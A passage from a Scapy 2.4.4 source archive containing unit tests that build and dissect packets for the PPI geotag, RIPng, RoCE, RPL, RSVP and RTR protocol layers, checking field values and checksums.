2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0\x80\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\nTest-10.10' assert a.headers[0].GPSTime == 1288720719 assert a.headers[4].ModelName == b'8dBi-Omni\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' assert isinstance(a.headers[3].payload, PPI_Geotag_Vector) assert a.headers[3].pfh_type == 30003 assert a.headers[3].Off_Y == 40.0 assert a.headers[3].Err_Off == 2.0 = All-in-one packet # Extracted from PPI_GEOLOCATION_SDK.zip\PPI_GEOLOCATION_SDK\pcaps\reference-pcaps\all-ppi-geo-fields.py a = hex_bytes(b'00008a02690000003275900002029000ff03007002000000368999839cb5323fa0584b6b406e4a6b4f51d04cffffffff40420f0080841e00005ed0b2416c6c4669656c64734750535061636b6574000000000000000000000000000004030201414243442e2e2e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003375900002029000ff000370ff0000000800000080969800002d3101e09da30110f9496b20204a6b0055496b80c3c90128604d6b46756c6c7946696c6c65644f7574566563746f720000000000000000000000000403020141424344000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034757f0002027f007f0000700100ff4014596b8056686bc098776b00db866b50954a6b4d616465557056656c6f63697479730000000000000000000000000000000000010203044142434400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003575bb000102bb003f00007c0200000009000e2707002d310160f59000b2a13030303030310000000000000000000000000000000000000000000000000000534132342d3132302d39000000000000000000000000000000000000000000004c656674416e74656e6e610000000000000000000000000000000000000000000102030441424344000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002001400000000000000000000000000850900000000a19280000000ffffffffffff0001020304050001020901040000000000000000000064000000000b546573742d53656e736f72') pkt = PPI(a) assert isinstance(pkt.headers[0].payload, PPI_Geotag_GPS) assert pkt.headers[0].present == 1879049215 assert isinstance(pkt.headers[1].payload, PPI_Geotag_Vector) assert pkt.headers[1].present == 1879245055 assert isinstance(pkt.headers[3].payload, PPI_Geotag_Antenna) assert repr(pkt.headers[3].present) == "" assert isinstance(pkt.headers[4].payload, PPI_Dot11Common) assert isinstance(pkt[Dot11][Dot11Beacon].payload, Dot11Elt) assert pkt[Dot11Elt].info == b'Test-Sensor' assert pkt[Dot11Elt].ID == 0 = All-wrong-data packet pkt = PPI(headers=[ PPI_Hdr()/PPI_Geotag_GPS(GPSFlags="Manual Input", Latitude=-181, Longitude=181, GPSTime=1288720719, FractionalTime=-1, ept=100, eph=-1, epv=1000, Altitude=-999999, Altitude_g=999999), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags="DefinesForward+RelativeToEarth", VectorChars=0x08, Heading=323.4, Err_Rot=10.0, DescString="AOA at Antenna-2", AppId=0x04030201), PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x01,Gain=5,HorizBw=360.0,ModelName="8dBi-Omni", DescString="Signal 2"), PPI_Hdr()/PPI_Dot11Common(Antsignal=-80)])/\ Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:0A")/\ Dot11Beacon()/Dot11Elt(ID=0,info="Test-allwrong") pkt = PPI(raw(pkt)) pkt.show() assert pkt.headers[0].Latitude == -180.0 assert pkt.headers[0].Longitude == 180.0 assert pkt.headers[0].Altitude == -180000.0 assert pkt.headers[0].Altitude_g == 180000.0 assert pkt.headers[0].epv < 1000 assert pkt.headers[0].ept < 5 assert pkt.headers[0].FractionalTime == 0.0 scapy-2.4.4/test/contrib/ppi_geotag.uts000066400000000000000000000033541372370053500201440ustar00rootroot00000000000000# PPI_Geotag tests ############ ############ + PPI Geotags tests = Import PPI Geotag from scapy.contrib.ppi_geotag import * = Test GPS dissection assert raw(PPI_Hdr()/PPI_Geotag_GPS()) == b'2u\x08\x00\x02\x00\x08\x00\x00\x00\x00\x00' = Test Vector dissection assert raw(PPI_Hdr()/PPI_Geotag_Vector()) == b'3u\x08\x00\x02\x00\x08\x00\x00\x00\x00\x00' = Test Sensor dissection assert raw(PPI_Hdr()/PPI_Geotag_Sensor()) == b'4u\x08\x00\x02\x00\x08\x00\x00\x00\x00\x00' = Test Antenna dissection assert raw(PPI_Hdr()/PPI_Geotag_Antenna()) == b'5u\x08\x00\x02\x00\x08\x00\x00\x00\x00\x00' = Test GPSTime_Field time handling assert GPSTime_Field("GPSTime", None).delta == 0.0 = Test UTCTimeField with time values # Always use ``time.gmtime`` and ``calendar.timegm``, not ``time.localtime`` # and ``time.mktime``. local_time = time.gmtime() utc_time = UTCTimeField("Test", None, epoch=local_time) assert time.gmtime(utc_time.epoch) == local_time assert calendar.timegm(time.gmtime(utc_time.delta)) == calendar.timegm(local_time) strft_time = time.strftime("%a, %d %b %Y %H:%M:%S %z", local_time) # Backup: also test summer time bug expected = "{} ({:d})".format(strft_time, utc_time.delta) result = utc_time.i2repr(None, None) result expected assert result == expected = Test LETimeField with time values local_time = time.gmtime() lme_time = LETimeField("Test", None, epoch=local_time) assert time.gmtime(lme_time.epoch) == local_time assert calendar.timegm(time.gmtime(lme_time.delta)) == calendar.timegm(local_time) strft_time = time.strftime("%a, %d %b %Y %H:%M:%S %z", local_time) # Backup: also test summer time bug expected = "{} ({:d})".format(strft_time, lme_time.delta) result = lme_time.i2repr(None, None) result expected assert result == expected scapy-2.4.4/test/contrib/ripng.uts000066400000000000000000000006641372370053500171460ustar00rootroot00000000000000+ RIPng Contrib tests = Basic RIPng build pkt = Ether()/IP()/UDP()/RIPng()/RIPngEntry(prefix_or_nh='8c07:9bc5:fdf6:996:117e:08c0:dd84:549e', metric=255)/RIPngEntry(prefix_or_nh='afb6:5b1b:c518:a147:312a:0c32:f40c:3771') pkt = Ether(raw(pkt)) assert RIPngEntry in pkt assert pkt[RIPngEntry].prefix_or_nh == '8c07:9bc5:fdf6:996:117e:8c0:dd84:549e' assert pkt[RIPngEntry].payload.prefix_or_nh == 'afb6:5b1b:c518:a147:312a:c32:f40c:3771' scapy-2.4.4/test/contrib/roce.uts000066400000000000000000000043621372370053500167560ustar00rootroot00000000000000# RoCE unit tests # run with: # test/run_tests -P "load_contrib('roce')" -t test/contrib/roce.uts -F % Regression tests for the RoCE layer ################ ##### RoCE ##### ################ + RoCE tests = RoCE layer # an example UC packet pkt = Ether(dst='24:8a:07:a8:fa:22', src='24:8a:07:a8:fa:22')/ \ IP(version=4, ihl=5, tos=0x1, id=1144, flags='DF', frag=0, \ ttl=64, src='192.168.0.7', dst='192.168.0.7', len=64)/ \ UDP(sport=49152, dport=4791, len=44)/ \ BTH(opcode='UC_SEND_ONLY', migreq=1, padcount=2, pkey=0xffff, dqpn=211, psn=13571856)/ \ Raw(b'F0\x81\x8b\xe2\x895\xd9\x0e\x9a\x95PT\x01\xbe\x88^P\x00\x00') # include ICRC placeholder pkt = Ether(pkt.build() + b'\x00' * 4) assert IP in pkt.layers() print(hex(pkt[IP].chksum)) assert pkt[IP].chksum == 0xb4d5 assert UDP in pkt.layers() print(hex(pkt[UDP].chksum)) assert pkt[UDP].chksum == 0xaca2 assert BTH in pkt.layers() assert pkt[BTH].icrc == 0x78f353f3 = RoCE CNP packet # based on this example packet: # https://community.mellanox.com/s/article/rocev2-cnp-packet-format-example pkt = Ether()/IP(src='22.22.22.8', dst='22.22.22.7', id=0x98c6, flags='DF', ttl=0x20, tos=0x89)/ \ UDP(sport=56238, dport=4791, chksum=0)/ \ cnp(dqpn=0xd2) pkt = Ether(pkt.build()) assert pkt[IP].len == 60 assert pkt[UDP].len == 40 assert pkt[BTH].opcode == 0x81 assert pkt[BTH].becn assert not pkt[BTH].fecn assert pkt[BTH].resv6 == 0 assert pkt[BTH].resv7 == 0 assert pkt[BTH].dqpn == 0xd2 assert pkt[BTH].version == 0 assert not pkt[BTH].solicited assert not pkt[BTH].migreq assert pkt[BTH].padcount == 0 assert pkt[BTH].pkey == 0xffff assert not pkt[BTH].ackreq assert pkt[BTH].psn == 0 assert pkt[CNPPadding].reserved1 == 0 assert pkt[CNPPadding].reserved2 == 0 # assert pkt[BTH].icrc == 0xe42dad81 TODO - does not match example = RoCE CNP captured on ConnectX-4 Lx pkt = Ether(import_hexcap('''0x0000: e41d 2dab 2bc2 7cfe 9064 3b32 0800 45c2 0x0010: 003c 718c 4000 4011 9161 0a00 1101 0a00 0x0020: 1201 0000 12b7 0028 0000 8100 ffff 4000 0x0030: 0118 0000 0000 0000 0000 0000 0000 0000 0x0040: 0000 0000 0000 82fd 002a ''')) assert BTH in pkt.layers() assert pkt.opcode == CNP_OPCODE del pkt.icrc pkt = Ether(pkt.build()) assert pkt.icrc == 0x82fd002a scapy-2.4.4/test/contrib/rpl.uts000066400000000000000000000217751372370053500166320ustar00rootroot00000000000000% RPL layer test campaign + Syntax check = Import the RPL layer load_contrib("rpl") load_contrib("rpl_metrics") + Test RPL Control Messages = RPL Base Objects construction assert(raw(ICMPv6RPL()/RPLDIS()) == b'\x9b\x00\x00\x00\x00\x00') assert(raw(ICMPv6RPL()/RPLDIO()) == b'\x9b\x01\x00\x00\x32\x00\x00\x01\x88\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') assert(raw(ICMPv6RPL()/RPLDAO()) == b'\x9b\x02\x00\x00\x32\x00\x00\x01') assert(raw(ICMPv6RPL()/RPLDAOACK()) == b'\x9b\x03\x00\x00\x32\x00\x01\x00') assert(raw(ICMPv6RPL()/RPLDCO()) == b'\x9b\x07\x00\x00\x32\x00\x00\x01') assert(raw(ICMPv6RPL()/RPLDCOACK()) == b'\x9b\x08\x00\x00\x32\x00\x01\x00') p=raw(IPv6(src="fe80::1")/ICMPv6RPL()/RPLDCOACK()/RPLOptPadN(optdata='0'*10)) assert(p == b'\x60\x00\x00\x00\x00\x14\x3a\x40\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x9b\x08\x42\x0f\x32\x00\x01\x00\x01\x0a\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30') p = raw(IPv6(src="fe80::1")/ICMPv6RPL()/RPLDCO()/RPLOptTgt(prefix="fd00::1", plen=128)) assert(p == b'\x60\x00\x00\x00\x00\x1c\x3a\x40\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x9b\x07\x32\x6e\x32\x00\x00\x01\x05\x12\x00\x80\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') p = raw(IPv6(src="fe80::1")/ICMPv6RPL()/RPLDIO()/RPLOptRIO(plen=64, prefix="fd00::1")) assert(p == b'\x60\x00\x00\x00\x00\x34\x3a\x40\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x9b\x01\x6b\xe6\x32\x00\x00\x01\x88\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x03\x16\x40\x00\xff\xff\xff\xff\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') p = raw(IPv6(src="fe80::1")/ICMPv6RPL()/RPLDIO(dodagid="aaaa::1")/RPLOptDODAGConfig()/RPLOptDAGMC()/RPLDAGMCLinkETX()) assert(p == b'\x60\x00\x00\x00\x00\x34\x3a\x40\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x9b\x01\xef\x1e\x32\x00\x00\x01\x88\xf0\x00\x00\xaa\xaa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x04\x0e\x00\x14\x03\x0a\x00\x00\x01\x00\x00\x01\x00\xff\xff\xff\x02\x06\x07\x00\x00\x02\x00\x01') p = raw(IPv6(src="fe80::1")/ICMPv6RPL()/RPLDIO(dodagid="aaaa::1")/RPLOptPIO(plen=64, prefix="fd00::1")) assert(p == b'\x60\x00\x00\x00\x00\x3c\x3a\x40\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x9b\x01\xbc\x2b\x32\x00\x00\x01\x88\xf0\x00\x00\xaa\xaa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x08\x1e\x40\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') p = raw(IPv6(src="fe80::1", dst="fe80::2")/ICMPv6RPL()/RPLDAO()/RPLOptTgtDesc()) assert(p == b'\x60\x00\x00\x00\x00\x0e\x3a\x40\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x9b\x02\x2c\xab\x32\x00\x00\x01\x09\x04\x00\x00\x00\x00') p = raw(IPv6(src="fe80::1")/ICMPv6RPL()/RPLDIO()/RPLOptDAGMC()/RPLDAGMCNSA()) assert(p == b'\x60\x00\x00\x00\x00\x24\x3a\x40\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x9b\x01\xa9\x06\x32\x00\x00\x01\x88\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x06\x01\x00\x00\x02\x00\x00') p = raw(IPv6(src="fe80::1")/ICMPv6RPL()/RPLDIO()/RPLOptDAGMC()/RPLDAGMCNodeEnergy()) assert(p == b'\x60\x00\x00\x00\x00\x24\x3a\x40\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x9b\x01\xa8\x06\x32\x00\x00\x01\x88\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x06\x02\x00\x00\x02\x00\x00') p = raw(IPv6(src="fe80::1")/ICMPv6RPL()/RPLDIO()/RPLOptDAGMC()/RPLDAGMCHopCount()) assert(p == b'\x60\x00\x00\x00\x00\x24\x3a\x40\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x9b\x01\xa7\x05\x32\x00\x00\x01\x88\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x06\x03\x00\x00\x02\x00\x01') p = raw(IPv6(src="fe80::1")/ICMPv6RPL()/RPLDIO()/RPLOptDAGMC()/RPLDAGMCLinkThroughput()) assert(p == b'\x60\x00\x00\x00\x00\x26\x3a\x40\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x9b\x01\xa5\xff\x32\x00\x00\x01\x88\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x08\x04\x00\x00\x04\x00\x00\x00\x01') p = raw(IPv6(src="fe80::1")/ICMPv6RPL()/RPLDIO()/RPLOptDAGMC()/RPLDAGMCLinkColor()) assert(p == b'\x60\x00\x00\x00\x00\x25\x3a\x40\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x9b\x01\x61\x03\x32\x00\x00\x01\x88\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x07\x08\x00\x00\x03\x00\x00\x41') p = raw(IPv6(src="fe80::1")/ICMPv6RPL()/RPLDIO()/RPLOptDAGMC()/RPLDAGMCLinkLatency()) assert(p == b'\x60\x00\x00\x00\x00\x26\x3a\x40\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x9b\x01\xa4\xff\x32\x00\x00\x01\x88\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x08\x05\x00\x00\x04\x00\x00\x00\x01') p = raw(IPv6(src="fe80::1")/ICMPv6RPL()/RPLDIO()/RPLOptDAGMC()/RPLDAGMCLinkQualityLevel()) assert(p == b'\x60\x00\x00\x00\x00\x24\x3a\x40\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x9b\x01\xa4\x06\x32\x00\x00\x01\x88\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x06\x06\x00\x00\x02\x00\x00') = RPL Base Objects dissection # Test DIS dissection p = ICMPv6RPL(b'\x9b\x00\x00\x00\x00\x00') assert(p.code == 0) # Test DIO dissection p = ICMPv6RPL(b'\x9b\x01\x00\x00\x32\x00\x00\x01\x88\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') assert(p.code == 1) assert(p.RPLInstanceID == 50) assert(p.ver == 0) assert(p.rank == 1) assert(p.G == 1) assert(p.mop == 1) assert(p.dtsn == 240) assert(p.dodagid == "::1") # Test DAO dissection p = ICMPv6RPL(b'\x9b\x02\x00\x00\x32\x00\x00\x01') assert(p.code == 2) + Test RPL Control Message Options = RPL Control Options construction # DIS assert(raw(ICMPv6RPL()/RPLDIS()/RPLOptPad1()) == b'\x9b\x00\x00\x00\x00\x00\x00') # DIS with solicited info option assert(raw(ICMPv6RPL()/RPLDIS()/RPLOptSolInfo()) == \ b'\x9b\x00\x00\x00\x00\x00\x07\x13\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00') # DIO with DAG MC option with link ETX metric assert(raw(ICMPv6RPL()/RPLDIO()/RPLOptDAGMC()/RPLDAGMCLinkETX()) == \ b'\x9b\x01\x00\x00\x32\x00\x00\x01\x88\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x06\x07\x00\x00\x02\x00\x01') # Normal DAO message with single target, since transit assert(raw(IPv6(src="fe80::1", dst="fe80::2")/\ ICMPv6RPL()/RPLDAO()/\ RPLOptTgt(plen=128,prefix="fd00::1")/\ RPLOptTIO()) == \ b'\x60\x00\x00\x00\x00\x22\x3a\x40\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x9b\x02\x2c\x04\x32\x00\x00\x01\x05\x12\x00\x80\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x06\x04\x00\x00\x00\xff') assert(raw(ICMPv6RPL()/RPLDAO(D=1, dodagid="fd00::1")/RPLOptDAGMC()) == \ b'\x9b\x02\x00\x00\x32\x40\x00\x01\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00') p=IPv6(b'\x60\x00\x00\x00\x00\x1c\x3a\x40\xfe\x80\x00\x00\x00\x00\x00\x00\x0f\x86\xcc\x88\xaf\xfa\xbe\x25\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x9b\x07\xe8\x3f\x32\x00\x00\x01\x05\x12\x00\x80\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') assert(p.payload.code == 7) # Its a DCO p=IPv6(b'\x60\x00\x00\x00\x00\x2c\x3a\x40\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x9b\x02\x35\xbb\x32\x40\x00\x01\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x05\x12\x00\x80\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') p.show() assert(p.payload.code == 2) # Its a DAO p=IPv6(b'\x60\x00\x00\x00\x00\x24\x3a\x40\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x9b\x01\xa3\x05\x32\x00\x00\x01\x88\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x06\x07\x00\x00\x02\x00\x01') #p.show() rpl=p.payload assert(rpl.code == 1) dio=rpl.payload assert(dio.RPLInstanceID == 50) assert(dio.dtsn == 240) dagmc=dio.payload assert(dagmc.len == 6) mc=dagmc.options[0] assert(mc.ETX == 1) scapy-2.4.4/test/contrib/rsvp.uts000066400000000000000000000015441372370053500170170ustar00rootroot00000000000000% Regression tests for the rsvp module + Basic RSVP test = Default build pkt = Ether()/IP()/RSVP()/RSVP_Object()/RSVP_SessionAttrb(Name="test") pkt = Ether(raw(pkt)) assert RSVP_SessionAttrb in pkt assert pkt.Name == b"test" = Master dissection pkt = Ether(b"\x00\x90\x92\x9d\x94\x01\x00\xd0c\xc3\xb8G\x08\x00E\x00\x00\x80\x8ad\x00\x00\xff.\x8c\xe7\xd2\x00\x00\x02\xd2\x00\x00\x01\x10\x02\xeb\xfa\xff\x00\x00l\x00\x10\x01\x07\x10\x02\x02\x02\x00\x00\x00\x01\x11\x03\x03\x03\x00\x0c\x03\x01\xd2\x00\x00\x02\x00\x00\x00\x00\x00\x08\x05\x01\x00\x00u0\x00\x08\x08\x01\x00\x00\x00\x12\x00$\t\x02\x00\x00\x00\x07\x05\x00\x00\x06\x7f\x00\x00\x05I\x18\x96\x80Dz\x00\x00\x7f\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\n\x07\x11\x03\x03\x03\x00\x00'\x11\x00\x08\x10\x01\x00\x00\x00\x10\x03\x06-\xad") assert RSVP_Time in pkt assert pkt[RSVP_Time].refresh == 30000 scapy-2.4.4/test/contrib/rtr.uts000066400000000000000000000274711372370053500166430ustar00rootroot00000000000000+ RTR Serial Notify = default instantiation pkt = IP()/TCP(dport=323)/RTRSerialNotify() raw(pkt) == b'E\x00\x004\x00\x01\x00\x00@\x06|\xc1\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x90q\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00' = default values build pkt = IP()/TCP(dport=323)/RTRSerialNotify() RTRSerialNotify in pkt and pkt.rtr_version == 0 and pkt.pdu_type == 0 and pkt.session_id == 0 and pkt.length == 12 and pkt.serial_number == 0 = filled values build pkt = IP()/TCP(dport=323)/RTRSerialNotify(session_id=12345, length=12, serial_number=789) raw(pkt) == b'E\x00\x004\x00\x01\x00\x00@\x06|\xc1\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00]#\x00\x00\x00\x0009\x00\x00\x00\x0c\x00\x00\x03\x15' = dissection pkt = Ether(b'\x00\x16>\xa9\x04\x1a\x84x\xac[\x82\xc2\x08\x00E\x00\x16\xd4\xb9\xa5@\x005\x06\x93\xd5\x8d\x16\x1c\xdc\xb9\x1a~\x9c Z\xcb\xa2\nF2`J\xe2\x8c\xc0\x80\x10\x00\xe3\xf8o\x00\x00\x01\x01\x08\n\xeaX\x9f\x82\x81\xfb\xc4\n\x00\x00\x00\x00\x00\x00\xcc!\x00\x04\x00\x00') pkt.session_id == 0 and pkt.length == 52257 and pkt.serial_number == 262144 + RTR Serial Query = default instantiation pkt = IP()/TCP(dport=323)/RTRSerialQuery() raw(pkt) == b'E\x00\x004\x00\x01\x00\x00@\x06|\xc1\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x90p\x00\x00\x00\x01\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00' = default values build pkt = IP()/TCP(dport=323)/RTRSerialQuery() RTRSerialQuery in pkt and pkt.rtr_version == 0 and pkt.pdu_type == 1 and pkt.session_id == 0 and pkt.length == 12 and pkt.serial_number == 0 = filled values build pkt = IP()/TCP(dport=323)/RTRSerialQuery(session_id=17, length=12, serial_number=55463) raw(pkt) == b'E\x00\x004\x00\x01\x00\x00@\x06|\xc1\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xb7\xb7\x00\x00\x00\x01\x00\x11\x00\x00\x00\x0c\x00\x00\xd8\xa7' = dissection pkt = Ether(b'\x00\x07\xb4\x00+\x02\x00\x16>\xa9\x04\x1a\x08\x00E\x00\x00@I2@\x00@\x06\x0f\xdd\xb9\x1a~\x9c\x8d\x16\x1c\xdc\xcb\xa2 ZJ\xe2\x8c\xc0\nR\xdbD\x80\x18\x05#\xe1\xdb\x00\x00\x01\x01\x08\n\x81\xfb\xcf\xca\xeaX\xcd\x92\x00\x01\x13/\x00\x00\x00\x0c\x00\x00\x81\x7f') pkt.session_id == 4911 and pkt.length == 12 and pkt.serial_number == 33151 + RTR Reset Query = default instantiation pkt = IP()/TCP(dport=323)/RTRResetQuery() raw(pkt) == b'E\x00\x000\x00\x01\x00\x00@\x06|\xc5\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x90w\x00\x00\x00\x02\x00\x00\x00\x00\x00\x08' = default values build pkt = IP()/TCP(dport=323)/RTRResetQuery() RTRResetQuery in pkt and pkt.reserved == 0 and pkt.length == 8 #= filled values build - nonsense test = dissection pkt = Ether(b"\x00\x07\xb4\x00+\x02\x00\x16>\xa9\x04\x1a\x08\x00E\x00\x00\xa9\x04\x1a\x84x\xac[\x82\xc2\x08\x00E\x00\x0b\x84\xb9\xa3@\x005\x06\x9f'\x8d\x16\x1c\xdc\xb9\x1a~\x9c Z\xcb\xa2\nF'\x10J\xe2\x8c\xc0\x80\x10\x00\xe3\xed\x1f\x00\x00\x01\x01\x08\n\xeaX\x9f\x82\x81\xfb\xc4\n\x00\x03\x13/\x00\x00\x00\x08") pkt.session_id == 4911 and pkt.length == 8 + RTR IPv4 Prefix = default instantiation pkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTRIPv4Prefix() raw(pkt) == b'E\x00\x00D\x00\x01\x00\x00@\x06|\xb1\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x90J\x00\x00\x00\x03\x00\x00\x00\x00\x00\x08\x00\x04\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = default values build pkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTRIPv4Prefix() RTRIPv4Prefix in pkt and pkt.shortest_length == 0 and pkt.longest_length == 0 and pkt.prefix == "0.0.0.0" and pkt.asn == 0 = filled values build pkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTRIPv4Prefix(prefix="192.0.2.0", asn=45000, shortest_length=20, longest_length=20) raw(pkt) == b'E\x00\x00D\x00\x01\x00\x00@\x06|\xb1\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\nm\x00\x00\x00\x03\x00\x00\x00\x00\x00\x08\x00\x04\x00\x00\x00\x00\x00\x14\x00\x14\x14\x00\xc0\x00\x02\x00\x00\x00\xaf\xc8' = dissection pkt = Ether(b"\x00\x16>\xa9\x04\x1a\x84x\xac[\x82\xc2\x08\x00E\x00\x0b\x84\xb9\xa3@\x005\x06\x9f'\x8d\x16\x1c\xdc\xb9\x1a~\x9c 